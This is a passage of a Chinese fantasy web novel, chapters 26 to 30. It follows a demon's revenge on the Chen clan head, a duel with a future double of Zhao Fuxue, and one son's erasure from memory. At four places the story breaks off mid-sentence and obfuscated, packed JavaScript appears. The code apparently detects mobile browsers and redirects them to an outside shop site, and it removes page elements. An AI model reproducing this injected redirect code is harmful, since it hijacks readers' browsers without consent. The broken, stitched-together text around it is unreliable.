陈风起的脸霎时一阴:“有古怪?呵,就凭他陈絮!连点灵力都没有的废物!” 陈絮? 封澄道:“这个名字倒是有意思。” 这个儿子叫絮,那个儿子叫云。 絮者,与云形似,凭风而起,终落尘埃。 人魔却在听到这个名字的时候定住了,她艰难地爬起来,喉咙里发出咕噜咕噜的声音,此时的她眼睛也不直了,目光也不凶狠了,大颗大颗的眼泪顺着她的眼眶流到脸上,封澄耳朵听得灵,依稀地分辨出,她喊的是个“阿絮”。 陈风起冷哼一声,作势便要向封澄劈去,不料一灰扑扑的东西猛地滚进来,陈风起定睛一看,猛地收住了手:“阿云!” 那灰扑扑的东西艰难地爬起来,抹了抹脸——正是陈云! 雨声越发地大了,这排山倒海的雨声与电闪雷鸣一同在颛安峰前交织。 在这电闪雷鸣声中,有一人缓步迈了进来。 不,已经不能说是人了。 来者穿着一身大红的戏服,面上戴着狰狞鬼面,喉咙处一道血口又长又骇人,上面还有结痂的血迹,他手上提着一把长刀——与其母的长刀一模一样。 “果然,”封澄的声音比从前凝重许多,“这个魔气,不像是人魔——是地魔。” 仿佛是为了应和她的话,四周的魔气骤然纷乱无匹地笼罩在了这片颛安峰上,与之相对的,漫山灵秀风景霎时灰暗,溪流干涸,芳草枯黑,天地上下,唯有一片暗暗的红云。 这简直是今夜最坏的消息,封澄心道,无论来者是人魔还是天魔,她包管能把人捣死八百个来回,可偏偏地魔,是根本不吃武力这套的。 正在此时,她听见身边的陈云震撼道:“变成地魔,他怎么变成的地魔?宝华楼之地魔,尚且能说是众女之怨而生,他好端端一个人,怎么会突然成了地魔?” 赵负雪的脸色也说不上好:“今晚死了多少陈家人?” 陈云一怔:“……我,我还不知道,听说是,很多……” 很多就对了,赵负雪强运出灵力,见素上又有白光浮现,他站在了封澄身边,与她并肩而立。 “这就对了,这地方是陈家的地盘,出事的是陈家龟祭,死了不知多少的是陈家的人,成魔的又是陈家的血脉,他心中仇恨欲念皆足,人脉地脉血脉都有了,成地魔有什么问题?” “我说他怎么那么痛快地要死,”封澄冷笑,“原来是在这里等着。” “你还一路不死心地追着拦上来,”赵负雪又瞥了陈絮一眼,“说不准,陈絮一开始都不打算对你动手。” “……”陈云被这两人一呛,张了张嘴,沉默了。 陈絮,既颛安峰地魔,从容得像是大戏登台一样,行走身段,皆是当红花旦的风情。 可走到门口,颛安峰地魔却怔怔地定住了。 他见到了满脸血泪的母亲,她趴在地上,不住地向他爬行而来,颤抖着向他伸出手。 颛安峰地魔沉默了,他低着头,缓缓地跪了下去。 封澄蓦然心口一酸。 母子之间,上次见面,尚且母慈子孝,日子平淡,却有彼此相依为命。 而生死之别后,再次重逢,已是一人血泪,一人疯魔。 填平二人生死沟壑的累累血债,种种恶业,已经无法被忽视了。 “娘……娘亲……” 封澄猛地闭了眼睛。 赵负雪不动声色地轻轻拍着她的后背:“你在发抖。” 封澄涩然道:“有时候也觉得,可恨之人,也有可怜之处,” 赵负雪怔了怔,他喉头滚动,方要说话时,却见封澄把木仓一甩,恶狠狠道:“事已至此,只能用这个超度陈风起了。” 赵负雪:“……” 他哑然失笑,即将出口的宽慰便被吞了回去,封澄瞥见他含笑,不解地歪了歪头,疑惑他笑什么。 一旁的颛安峰地魔跪拜完,缓缓地站了起来,他将身边地母亲搀扶起来,面对着脸色铁青的陈风起,懒懒地丢出了一块破旧的木牌。 陈风起拿到木牌的刹那,脸色剧变。 颛安峰地魔款款道:“我的法则,只有一条。” 没有涂改,没有生僻字,没有奇怪的语言,没有隐藏线索。 “陈风起挫骨扬灰,魂飞魄散,向何眷谢罪。” 陈风起抖着手,拿着的木牌当啷一声落下,这个威风八面的陈家家主,终于颤抖着露出了苍老之色。 颛安峰地魔道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“从此以后,我过得连你陈家的狗都不如,日日挨打,顿顿吃不饱饭,因为没有灵力,被你陈家的每一个人欺辱。” 他弯下腰,把木牌捡起来:“我不怕的,我以为我忍到长大,我就能逃出去,然后去找我娘,给我娘过好日子。” 陈风起步步后退:“不,儿子,好儿子——” 陡然长刀砍向了他的脚尖:“然后在你小儿子出生当日,你以我偷偷修习邪道为理由,判了我死罪。” “为什么?” 风起哀嚎道:“我错了——我们是一家人啊!” 颛安峰地魔冷笑一声:“陈家主,我在你手里死了两次,第一次我逃了,第二次,我的肉身已然归于了颛安峰地牢中,而你的妻子,不是早在多年前,便被你一条白绫送了命吗?” 暴雨瓢泼,撒了进来。 “你在说一家人——可这儿,哪有你的一家人?我们分明是血仇。” 封澄沉默了。 这地魔规则的指向性越强,发挥的效力便越显著,现在这木牌上只刻了一条法则,完完全全是冲着陈风起去的,按理说,这里应该没有她与赵负雪的事情了才对。 可不知为何,封澄的心底总是不安。 她忽然便嗅到了屋内不知何时冒出来的药气与冷香。 这个味道,她闻到过的,在押陈絮上山时,她便闻到过这个味道了。 陡然间,陈风起摘下了手中指环,哀嚎道:“先生,先生……救命!!!” 封澄瞳孔骤然紧缩。 27. 第 27 章 四周的空气肉眼可见地微微一动。 这不可不谓之骇然——封澄当即变了脸色,煞气闪电似的包裹住身后的赵负雪,寒声道:“赵公子,离我近一点。” 这波动,赵负雪也熟知,当时封澄神兵天降似的出现前,四周也有这样微微一变的扭曲。 他不由得微微一皱眉——那里面的是什么东西,能让封澄都如此戒备? 陡然间,冲天的灵气从那扭曲的缝隙中轰然而出! 这恐怖的灵力,当即冲得众人站立不稳,陈风起却像见到救星一样,他向前膝行几步,虔诚又惶恐地叩拜道:“大人,您终于来了!” 来者身着不染一尘的白衣,眉目如画,周身是如霜雪般的森然寒意,只是这灵力着实骇然,竟将此地的魔气硬生生地压了下去! 寂静一片中,他从容笑道;“何事。” 一抬眼,众人一怔,当即大惊失色:“赵公子!!?” 他竟长了一张赵负雪的脸! 赵负雪也是被这一番惊人之景怔得半日说不出话来,他看着来者,喃喃道:“他怎么和我长得一样?” 其实细看来说,是不一样的,来者虽看起来像他,但光是站在那儿,便有一股静水沉渊般的内敛之气,赵负雪被他一比,竟然显得有些年轻毛躁了。 察觉到这一点的赵负雪,心下隐隐焦躁,忍不住看了封澄一眼。 封澄颜色正怒:“古安祸事,竟然有你的手笔!” ‘赵负雪’笑了,这笑意不达眼底,反而平添了几分阴森之感。 “冤枉我了,”他道,“我可对他们不感兴趣。” 此言一出,四座寂静,良久,陈絮不可置信道:“……这是什么东西?” ‘赵负雪’回头,眼神一厉,只见颛安峰地魔猛地腾空而起,仿佛有一只看不见的大手将他拍飞了了出去! 陈风起哆哆嗦嗦道:“大,大人,你救救我,你要什么我都给你!” ‘赵负雪’走向他,他莫名让人想到一条森白的蛇:“她要杀的人,我不会阻拦。” 陈风起急道:“你我契约未完,大人,你不能见死不救啊!” 听闻此言,‘赵负雪’很不耐烦地啧了一声,随后将目光停在了封澄身后的赵负雪上,他很感兴趣地挑了挑眉:“这样,我替你解决个小东西,也不算是见死不救了。” 封澄当即甩枪入手:“你敢!” ‘赵负雪’却笑了,他鬼魅似的掠到封澄身后,随后赵负雪肩膀一空,随即眼前天旋地转! 二人竟然在众人面前凭空消失了,陈云一众皆惊骇不已,唯有封澄,心口重重一沉。 “进鬼界了。”她想。 辛苦叫来的救星,抓了个不相干的人便不见踪影了,陈风起的脸上终于又染上了恐惧之色,他的目光哆哆嗦嗦地移向面前的陈絮与何眷:“就,就非得这样吗?” 陈云从小都是听着父亲的丰功伟绩而长大的,在他眼中,父亲比天神还要高大不凡,他不敢置信地看着跪地哀求的父亲,怔怔道:“爹……” 话未出口,便被陈风起粗暴地打断:“你也过来,跪下!当时若不是你出生,我又何必杀了絮儿!” 陈云如遭雷击般怔在原地,陈絮看了他一眼,漠然地移开了视线;“陈大人,在做爹这方面,你还真是一如始终地烂啊。” 陈风起哀求道:“我求你,我求求你,你不顾我,总得顾顾你娘吧?我若是死了,她的秽迹便没有了,她也会消失的!” 说到此处,陈絮的目光移向了何眷,他看了看,留恋地摇了摇头:“我将她生魂拉回,令她手下多生杀孽,已是不孝。” 何眷的喉咙又被人魔抢去了,她看向陈絮,半晌,轻轻地拍了拍他的肩膀。 这种情况下,不死,是不行的,陈风起左右看看,忽然暴起,鱼死网破道:“我即便是死,也不会这么窝囊着死!” 刹那间,陈云目眦欲裂,痛嚎出生,陈絮好整以暇,似笑非笑,何眷目光冰冷,手上的断刀却隐隐抬起。 可陈风起的攻击却未打到在场的任何一个人身上。 当空一道血光,他的身体一分两半,鲜血冲到了众人的面上,封澄站在他的身后,目光中是无机质的冰冷。 “不,不——!!” 封澄垂眸看着嚎出声音的陈云,手上的长枪又一次对准陈絮。 她道:“得罪了。” *** 赵负雪只觉得眼前一花,随即身边众人皆无影无踪,颛安峰主殿还是那个颛安峰主殿,只是身边早已空无一人。 他警惕不已地按在剑上,不料一把雪白的剑从他胸口当胸穿过! 这把剑他再熟悉不过——见素! ‘赵负雪’收剑,漠然走到了他的前面:“你比我想象的还要没用。” 赵负雪吐出一口血来,他咬牙,飞快几下封住大穴,止住出血:“你这,岂不是,把自己骂了进去。” 不料‘赵负雪’似乎是颇为意外,他微微偏了偏头,嘲讽道:“哦?” 赵负雪抬眼死死盯着他,他从第一面时,心中便觉得诡异,见了这熟悉的灵气与当胸一剑,还有什么不明白的? 没人会比自己更熟悉自己,他的剑,没人会比他自己更为熟悉。 “为什么?”赵负雪道。 ‘赵负雪’终于哈哈大笑了起来;“不错,虽然没用,但脑子没烂到家,为什么?你接着猜猜。” 这个你猜,令赵负雪莫名地想到了封澄。 赵负雪强行将跑偏的神扯回,手不动声色地按在了剑柄上,他平复呼吸道:“让我继续猜猜——你比我长得老,灵力也是我现下不及的,你是从什么时候来的?多少年之后?” ‘赵负雪’垂着眼睛,唔了一声:“不错,八九不离十。” 随即,他又道:“你不如把手从剑上放下来,这么明显的手段,连我徒儿做得都比你隐蔽。” 徒儿? 他日后还收徒了? 赵负雪感觉有些发冷,失血的感觉一点一点地侵袭他:“净说这些没用的——你来做什么,把我杀了,将来的你,难道不会烟消云散?” 他很难相信,自己的将来,是个空有庞然灵力的疯子。 ‘赵负雪’抬起手来,平心而论,赵负雪不得不承认,他的确比他自己,强了不止一星半点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随着一道雪亮的剑气,原本灵力就不多的赵负雪竟然生生令他招架不能,‘赵负雪’颇感荒谬地看着他:“不对吧?这种时候,你就有这种心思了?” 赵负雪此时什么都听不进去,满脑子都是他说出来的话。 连问都没问过,就把人扣住拜了天地,成了夫妻,他都不敢想,封澄在被迫做这些时,会怎么想。 她的骨头比铁都硬,能将她胁迫到如此地步,他得是做了多过分的事? 怪不得她不回来,按封澄的性子,没把他活剜了,还算是记挂了旧日情谊了。 赵负雪心中悲痛交加,他心道:“你怎么敢如此轻贱我们的情谊?你怎么成了这种混账?” 人在暴怒之时,爆发的灵力,是可以被称之为恐怖的,更何况是原本就灵力强悍的赵负雪,这数道密不透风的剑光下来,即便是鬼身,‘赵负雪’也被他逼到了不得不全力反击的地步。 两人一个心头被捅了对穿,一个被封澄打碎了浑身骨头,拼起来没一副好身子,却打得翻天覆地,鬼界颛安峰的山头都被二人齐齐削去了一截,陡然间,四周的空气又微妙地扭曲了一下。 紧接着,‘赵负雪’面上一空,原地消失了。 封澄提着枪,身后是被削成两段的陈风起,她瞳孔骤然紧缩:“赵负雪!” 赵负雪再也支撑不住,他感到有一人慌乱地扑到他的面前,他身体一空,直直向那人倒去。 28. 第 28 章 赵负雪正面倒在了封澄的怀中,封澄忽然感觉手上有些温热,她抬起手来,只见鲜血刺目。封澄一摸,险些当场疯了。 她的目光陡然刺向陈絮;“把颛安峰打开,不然,你也死在里面。” 陈絮的法则已经全部暴露了出来,对上封澄时,毫无反击的能力,陈絮似乎也没想过反抗,他的手轻轻一挥,四周腾起的红云煞气便烟消云散,封澄头也不回,带着赵负雪便向温不戒的山头奔去。 陈絮穿着大红戏服站在门口,目光寂寂地落在了何眷身上。 随着陈风起被封澄一切两半,何眷的身体也渐渐地透明,她好像那日消逝成灰的海洛斯一般,露出个略微迷茫的笑意来。 她的面容已被魔色扭曲,几乎看不出原来的模样了。 陈絮留恋地托着何眷的手,她粗糙的利爪轻柔地贴在了他满面的浓墨重彩上。 “其实我只是想再见一见你。”陈絮道,“让你杀了这么多人,对不起,娘。” 何眷的消散已经到了喉咙,她面上浮出一个笑来,随后拍了拍陈絮的头。 “傻孩子。” 随后,她化作了一阵尘烟,寂然散去了。 此时大殿中,只剩下了陈絮与陈云兄弟二人,陈云跪在陈风起的尸身旁,拼命地将他的尸体合在一起:“不,爹,对了,招魂,我可以把他带回来……” 陈絮居高临下地斜睨他:“别拼了。” 陈云充耳不闻,陈絮不耐烦地拎起他的手臂,硬生生地将人拽了起来:“我让你别拼了,听见没有!” “他死得透透的,连魂魄也被一劈两半了!你能召回什么来?!”陈絮冷笑道,“说来我也是奇怪了,陈风起这种心里只有自己的畜生,怎么能养出你这种儿子?” 陈云一怔,双目血红地一拳打过去:“你才是个畜生!他说到底也是你爹啊?你竟能下这么重的杀手,甚至连陈家人也不放过!“ 这一拳打得又狠又结实,陈絮不防,竟被这一拳打了个正着,鼻血登时被打了出来,血糊在满是油彩的脸上,愈发地姹紫嫣红。 他一怔,随即也是一拳还手,冷笑不已:“爹?他当过一点儿爹吗!他为你的出生大摆筵席告知天下时,给了我一道死令命人把我处死!他一刀一剑地传授你陈氏剑术时,我被卖到了戏坊,为了一口饭,挨着毒打学戏!他将陈氏家务全部交授与你,带着你四处立威时,我在给被他杀了的娘守孝!” 陈絮一介地魔,再怎么说,身上的魔气也是不容小觑的,可他竟然就这样和陈云拳拳到肉地互殴了起来:“我不能杀他吗?他还配做个人吗?!” 陈云的体术相当稀松,被陈絮三下五除二打倒在了地上,见陈云不动了,陈絮喘着粗气站起来,平复着气,慢慢地整理戏服,居高临下道:“多管闲事之前,先有点本事再说吧。” 他转身向殿外走去,在脚踏上门槛时,忽然听到身后传来一道微弱的声音。 那声音道:“说得冠冕堂皇,结果——你连你亲娘都要利用,陈家无辜之人也不放过。” “呸,我爹当年杀对了,你就该死。” 陈絮定了定,随即猛地红了眼,他猝然回头,大步向陈云走去。 *** 空气中的风带着血味,颛安峰的剧变令幸存的陈氏弟子不约而同地聚过来,封澄下山时,看见的便是手举火把的众陈氏弟子,见到封澄从颛安峰上下来,为首的陈氏弟子忙上前一步,急切道:“封姑娘!家主他——” 陡然间,他的目光落在了封澄扶着的赵负雪上,赵负雪闭着双目,脸在火光的映照下苍白无比,连唇色都时苍白的。 封澄的身上也有乱七八糟的血迹,她冷冷道:“找人去山下寻侠医,快。” 这种时候,陈氏众弟子不敢作声,沉默地让开了路,几人便带着火下山去寻温不戒了,封澄带着他,飞也似地向温不戒的山上走去。 温不戒大概并不喜欢热闹的地方,这些日子里,他从来都只在自己居住的山上安心养伤,但也不排除今夜下山凑热闹的可能,封澄心中只求他今晚千万要在山上。 赵负雪身体的热量已经渐渐地流失了,她见到赵负雪这般苍白的模样,恨不得将那个男鬼从鬼界捞出来再生撕一遍,正在她心如刀绞之际,肩上忽然传来些微的动静。 他比她高出些来,封澄很难扶着他向山上去,于是他便是半副身子压在封澄身上的模样,封澄见他有意识,一喜:“赵公子!你再坚持一下,我们很快就到了。” 赵负雪的呼吸喷在她的耳上,喃喃道:“……” 封澄听不清,她咬牙道:“你不要说话了,有什么话,等你好一些再说。” 温不戒的居室前灯火通明,封澄的眼睛当即亮了,赵负雪还在一路上固执地呢喃着什么,此时她也顾不得这些了,拍门便叫道:“温不戒!温不戒!救命!” 片刻,门应声而开,只见身着素白中衣的温不戒站在面前,他神色淡淡,垂眸看向封澄:“何事?” 封澄道:“救他,他受伤了,伤在心口。” 温不戒定睛一看,面上露出了少有的正色,他当即让开门道:“放他进来,我即刻施针止血。” 温不戒的屋内有混杂的药气,香的臭的,浓的淡的,混在一处,正屋大桌上还有捣碎的药草,味道并不是很美妙,屋内几处罐子里偶尔传来一两声的爬行声——有人能在这样一间屋子里安然入睡,当真是稀奇。 封澄依着温不戒的指挥,将赵负雪平放在了侧屋床上,温不戒取金针来,不过片刻,赵负雪的血便止住了,封澄松了口气,听见他道:“这剑凶险,若非他险之又险地避开了要害,又及时封了大穴,此时哪怕是神仙也救不回来了,你寻个剪刀来,剪开伤口,清创。” 她起身寻了剪刀来,又将剪刀烧了烧,才递给温不戒,不料温不戒看着剪刀,却不伸手来接,他摇摇头,转身去配药:“我不动刀器,不动血肉,你来。” 这句话令封澄有些意外,不过赵负雪的状况容不得她犹豫了,封澄拿起剪刀,飞快地将赵负雪被血染透的衣物剪开。 温不戒垂眸道:“这一剑是奔着要他命去的,你们何时惹上了这么厉害的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“封澄,对不住。” 这句话一出,封澄举着剪刀的手停住了。 她困惑不已地怀疑起了自己的耳朵:“他说什么?” 这种时候,她的耳朵没问题,那么出问题的一定是温不戒的耳朵了。 封澄强作笑意,继续小心翼翼地剪除多余的衣物:“真的假的。” 说来要不是她硬把赵负雪留在了身边,赵负雪大概早已离开了古安,不必遭此无妄之灾,该说对不住的是她才对。封澄心想。 温不戒笑了笑,转身便懒洋洋地走了:“假的,就是这样,我听错了。你等他醒来,吃了药,便带他走吧。” 走? 封澄歪了歪头,叫住温不戒:“温公子,走是什么意思?” 温不戒伸了个懒腰,向主屋走去:“洛京赵家的药,比我的药好上许多,我一介游医,可不敢乱给赵家的负雪公子开方子。” 封澄看着他的背影,摇头笑笑,低头继续清理伤口。 待整个伤口露出来时,封澄的手却陡然停住了。 她怔然看着那道骇然的伤口,浑身的血寸寸冰凉。 那剑痕她再熟悉不过。 见素。 29. 第 29 章 洛京赵家,坐落于寸土寸金的洛京之北。 赵狩站在比冰窟还要冷的地室中,左右倒换着脚,以求一会儿脚底不会被冻在地面上。 众所周知,洛京这种皇城根下的地方,地价与房价早已如同坐上了火箭般,高到了一个见者伤心、闻者落泪的地步,以他除魔的外快,哪怕活个十辈子,也买不下能落脚的一处房产。 所幸作为赵家的一员,他能在这寸土寸金的洛京,占地约莫一条街的仙府中,拥有一席之地。 伺候伺候脾气古怪的家主,在这丰厚的待遇下,也不是什么问题了。 此时,这座仙府寂静如无人之地。 正在他琢磨着同下一个人换班之时,棺椁里的人幽幽地睁开了眼睛。 他单手撑着棺椁边缘,慢慢地坐起身来,垂着眼睛,披着长发,似乎是不太清醒的样子。 赵狩大气也不敢出一口,谨慎地上前一步,道:“家主,姜太后那儿又来了使者。” 家主的脸上一直都是苍白的,这分苍白没有夺走他的瑰色,反而令他如大理石所雕的神像般俊美而冰冷。 赵负雪闭了闭眼睛:“不见,打出去,叫她想也别想。” 侍从从善如流地退了下去,赵负雪并未从石棺中起身,他低下头,指腹轻轻触上身边之人的唇。 她穿着大红的喜服,面如桃花,安详地闭着眼睛,像只是睡着了。 安静得像只乖顺的猫儿,赵负雪的手微微一重,身旁新娘的红唇便隐隐露出更为灼目的红意。 没有呼吸,没有心跳,只是一副装饰美丽的、新娘的躯壳。 赵家家主的身边,躺着他昔日徒儿的尸身——这过分的位置,足以让人称上一句一句大逆不道。 “找到你了,”赵负雪冰冷的呼吸打在她的脸上,目光中是近乎疯狂的偏执之色,“为什么还不醒过来。” “醒过来,”他道,“求你了。” 回应他的是一片寂然。 室外,冰冷的主室中,琴音袅袅,香气沉沉,身着华服的宫人站在堂前,见到走出来的侍者,面上当即扯起礼数周全的笑意,正彬彬有礼地站起身来,却见侍者当着他的面,翻了个悄悄的白眼,然后亮出剑来道:“家主有令,打出去。” 宫人吓了一跳,连忙起身,作势就要往外跑:“不必了不必了,我有脚,我可以自己出去。” “都说了是打出去了。”话音未落,一脚便踹在了他的后臀上,紧跟着的是那小侍从毫无感情起伏的声音:“我也很无奈啊,见谅。” 宫人被一路打到门口,紧接着赵府侧门便贴着他的鼻子间砰然合上,他难以置信地站在门口,忍了半日,终于破口大骂道:“你们赵家规矩比皇家都大呐!!” *** “你们赵家规矩怎么比皇宫都大,”封澄难以置信地伏案抄写着拜帖,温不戒一边给她磨墨,一边忍笑忍得脸都抽搐了,“什么叫旁人要进赵府要交拜帖,写得简单了还不行,非得写得和状元卷儿似的?你听听,这都是人能说出来的话吗?!” 温不戒忍笑道:“嗯……不错,姑娘的字也相当了得,不枉这副好拜帖。” 一旁的床榻上,赵负雪脸色苍白地坐着,闻言,忍不住摇了摇头;“这些年,赵府规矩越发嚣张了,隐隐有自尊过分之嫌,行事极为高调,必惹祸端。” 封澄拎起拜帖来,吹了吹墨,微笑道:“世间天机师世家,唯有你们赵家一个,百年镇恶,千年除魔,你们不端架子,还有哪家配端?” 她将拜帖细心封好,嘱咐来取帖子的人细心送去,转头又道:“你果真要耽搁这些时日吗,伤口要紧,还是不要任性了。” 赵负雪摇了摇头。 赵负雪回赵家,定然是不必交拜帖的,可偏偏封澄的身份实在是难以启齿,她一无籍贯,二无宗派,三无亲友师朋,还是个明牌血修,试问谁人胆敢放这样一个人大摇大摆地进那大夏第一天机世家? 想了想,赵负雪补充道:“不要紧,只是外伤。” 他早想带封澄回洛京了,这道从天而降的伤,倒是给了他一个堂而皇之的门路。 封澄却不信他,转头问道:“温公子,行吗?” 周围的空气有一瞬间的凝滞,温不戒意味深长地看着赵负雪,耸了耸肩膀,一摊手:“总归是死不了的。他既然愿意,就这样吧,” 看着打定主意不动身的赵负雪,封澄轻轻地磨了磨牙:“好。” 昨夜陈氏之变,闹得满城风雨,封澄昨夜心慌意乱,只顾着赵负雪重伤,竟一时没注意,生劈了陈风起。 此时此刻,她才回过味来——这是回到了十几年之前,若她将这个时候的陈风起劈了,那么日后,是否就不会有叛逃的陈风起了? 她心中有几分说不出的轻松——陈风起的叛逃之事给了天机军一个前所未有的重创,将他这一株病苗扼死在了十几年前,后世的长煌之战上,不知要少上多少伤亡。 解决了后世之大问题的封澄不由得看向赵负雪,起先她还担忧赵负雪的大劫之事能不能因她这个外力而扭转,现在一看,的确是可行的。 陈风起一死,至少改变了后世数以万计的阵亡,这改变是有意义的。 忽然间,有人轻轻地敲了门,轻声道:“温公子可在?” 封澄奇怪地去开了门,只见迎面一个笑眯眯的陈家人走来,他见了封澄,笑意不改:“原来封姑娘也在这儿,那么赵公子定然也在这里了,倒省得我再多跑几次腿了。” 他道:“昨夜三位都受了惊吓,家主特令我送来了安神汤药,愿二位恕我们待客不周之道。” 封澄接过药来,抬眼向颛安峰看去,只见漫天红云早已烟消云散,她道:“颛安峰地魔呢?昨夜怎么样了?” 陈家弟子道:“昨夜,家主大人力破地魔阵法,孽魔陈絮,已然伏诛。” 家主? 不知为何,封澄心中咯噔一响,她连忙道:“家主?陈云本事见长,不光除了颛安峰地魔,还这么快就接位了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493683|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不料陈氏弟子的脸上却露出了茫然之色,好像完全听不懂封澄在说什么一样,他奇怪地歪了歪头:“姑娘在说什么?陈家何时有陈云这个人?家主大人一生无所出,又哪来的接位之人?” 封澄端着的安神药汤碗当啷一声砸在了地上。 陈家弟子惊叫一声,低头便要去收拾,不曾想手腕一紧,竟是封澄牢牢地抓住了他的手腕,紧紧地盯着他道:“你们陈家的家主,叫什么名字?” 她感到自己的心似乎不停地下坠。 陈家弟子道;“我们陈家这将近百年了,只有一位家主,那便是陈风起大人,姑娘莫不是昨夜吓得慌了神,今日有些昏沉了?” 说罢,他低头将安神汤碎片一一捡拾了过去,封澄怔怔地站在门口,陈家弟子收拾完了,行了个礼道:“我马上再送几碗来。” 许是门口动静太大,惊动了屋内的温不戒与赵负雪,温不戒疑惑地过来,探出头去看看:“出什么事了,怎么脸色这么难看?” 封澄魂不守舍地走进了屋子,赵负雪半躺在床上,见了她这副样子,当即坐起身来,封澄猝然抬起头,一把抓住温不戒道:“温不戒,你认不认识陈云?” 温不戒低头看着她,随后,很慢很慢地眨了眨眼。 他的唇仿佛慢动作一般:“陈云是谁?” 封澄推开他,转头对赵负雪道;“你知道陈云是谁的,对不对?我们在海洛斯幻境里面救下来的那个少爷,他还因为误会我伤了陈风起和我们打了一架……” 不料赵负雪好看的眉头微微一蹙,他抬起手来,忧心忡忡地摸了摸封澄的额头,目光中是说不出的担心:“海洛斯幻境中,我们救出来的是陈风起,你说的打了一架更是从没有过,封澄,你怎么了?” 不对,不对。 封澄猛地后退两步,随即夺门而出,径直冲向了昨夜还红云密布的颛安峰上。 “你去哪儿,封澄——唔!”赵负雪咬牙追了两步,随即又抓起一件外袍来披上,提着剑便又冲了出去。 “到底在搞什么鬼,”封澄耳边的风呼呼作响,她咬牙切齿地想,“陈风起是我亲手杀的,怎么凭空又冒出一个陈风起来!陈云哪儿去了!” 待她来到颛安峰前,却发现有人坐于主殿上,好像已经等了许久了。 见到喘着粗气的封澄,陈风起好像也好不觉得意外一样,他道:“随便坐。” 封澄不动,她死死地盯着陈风起:“你是谁?” 陈风起垂着眼:“这里的每个椅子,我都擦干净了,没有血,没有魔气,你可以随便坐的。” 这句话仿佛一把刀子砸向了封澄的心口,她猝然上去,一把抓起陈风起的衣领,怒道:“你在搞什么鬼,陈云!!” 这张脸与陈风起一模一样,目光中却多了陈风起所没有的沉沉暮色,他疲倦地抬起眼来,望向封澄,缓声道:“封澄。” “我应该要恨你,”他的眼角有泪缓缓地滑下,“可你是唯一记得我的人了。” 30. 第 30 章 封赵二人在古安逗留了些日子,赵家消息来得很快,不过三日,二人就该动身了。 封澄临登车前,回首向陈氏山庄望去。 陈氏山庄还是原来那副不可撼动的样子,群山巍巍,仙气环绕,每个陈家弟子,都以身为陈家修士为豪,几日前的血洗噩梦,在家主的铁腕下,早已无人提起。 人人都干净,整洁,彬彬有礼。 陈云不会来送别了,封澄想,二人之前情分,早已随着陈风起的死去,而一分两半了。 赵负雪立于他身后,见她愣怔,垂眸道:“可有什么东西忘下了?” 封澄回过神来,摇了摇头,转身登上马车。 她说不清楚在等待什么,几日前,两人的最后一面堪称不欢而散,若非后来赵负雪提剑冲了进来,二人大概会顺理成章地打起来。 陈风起死了,可无人知晓他的死亡,这位名震一方的一家之主,竟然连死后的哀荣也不配有。 一代大修的死去竟然堪称荒谬,儿子连为父亲悲痛的资格都被抹去了。 “陈絮,狠啊,”她记得陈云浑浊的眼睛,“一介地魔,为了区区一个我,连自爆这种路数都用上了,他狠——这比杀了我都难受。” “此后这世间,再无陈云,而陈氏家主的威名,也会在我这个没用的儿子手里慢慢没落。” “说不定,等我最后带着父亲的半生死去时,人人都会上来唾上一口,说陈风起毁了陈家——你知道的,我一直没什么用。” 不知何时起风了,封澄的眼睛一时间有些酸,她望着陈氏山庄后,那座影影绰绰露出影子来的颛安峰。 “陈云,”她默默的想道,“会再见的。” 正在此时,一人叫住了她,紧接着一人递上来两只指环,那陈家弟子道:“姑娘,这是我们家主送来的。” 两枚银色的指环,与陈氏指环的样子有些出入,看着简朴许多,并无陈氏指环上繁杂的文字与图案。 赵负雪冷道:“这是什么意思?” 陈家弟子笑容不变:“我们陈氏指环,除了用作灵器那些外,做个首饰也是极为体面的,这是家主特意嘱咐过的指环,还望姑娘一定收下。” 赵负雪还待说些什么,一旁的封澄却提前他一步接过了两只指环,道:“替我谢谢你家家主,改日我再来拜会。” 她一跃上了马车,并未注意到身后赵负雪的脸色霎时变得无比好看。 不知道赵负雪突然又发的什么疯,封澄坐上马车,只觉得周围空气一片寂静。 封澄:“?” 这超乎寻常的寂静无比刻意,显然是人为的,赵负雪端然坐在一边,甚至连呼吸的动静都不太明显,好像是坐了一座雕塑似的。 封澄好笑地去戳他:“劳驾,赵公子,你不用呼吸的吗?” 赵负雪冷哼一声,闭目不言。 封澄又戳了戳他:“哎,在山上还好好的,怎么一上车就翻脸了?赵公子?赵公子?赏个脸,我很尴尬的。” 兴许是被她戳得烦了,赵负雪终于缓缓地掀起了眼皮:“和你很熟吗?” 封澄:“……” 封澄:“不熟,很不熟,好吧,是我冒犯了,赵公子。” 说着她便乖乖地退回原位,不料赵负雪猛然睁开了眼睛,一把抓住了往后退的封澄,封澄一惊,转头看着他,瞳孔剧烈颤抖。 赵负雪的脸色隐隐有几分红,这在他这位失血过多的有伤青年身上可谓是少见,他攥着封澄的手,力度大得不容忽视,封澄悄悄往外抽了抽,没抽动。 半晌,他才隐忍道:“你收那俩破烂做什么。” ……破烂。 封澄无言片刻,道:“陈风起是我……是我朋友,他为我送别选的东西,我为什么不能收?” 朋友?赵负雪更气了:“那老头都有快一百岁了,还在这里唧唧歪歪地和小姑娘交朋友!这种贴身之物,是他这个朋友能送的吗?他交个屁!” 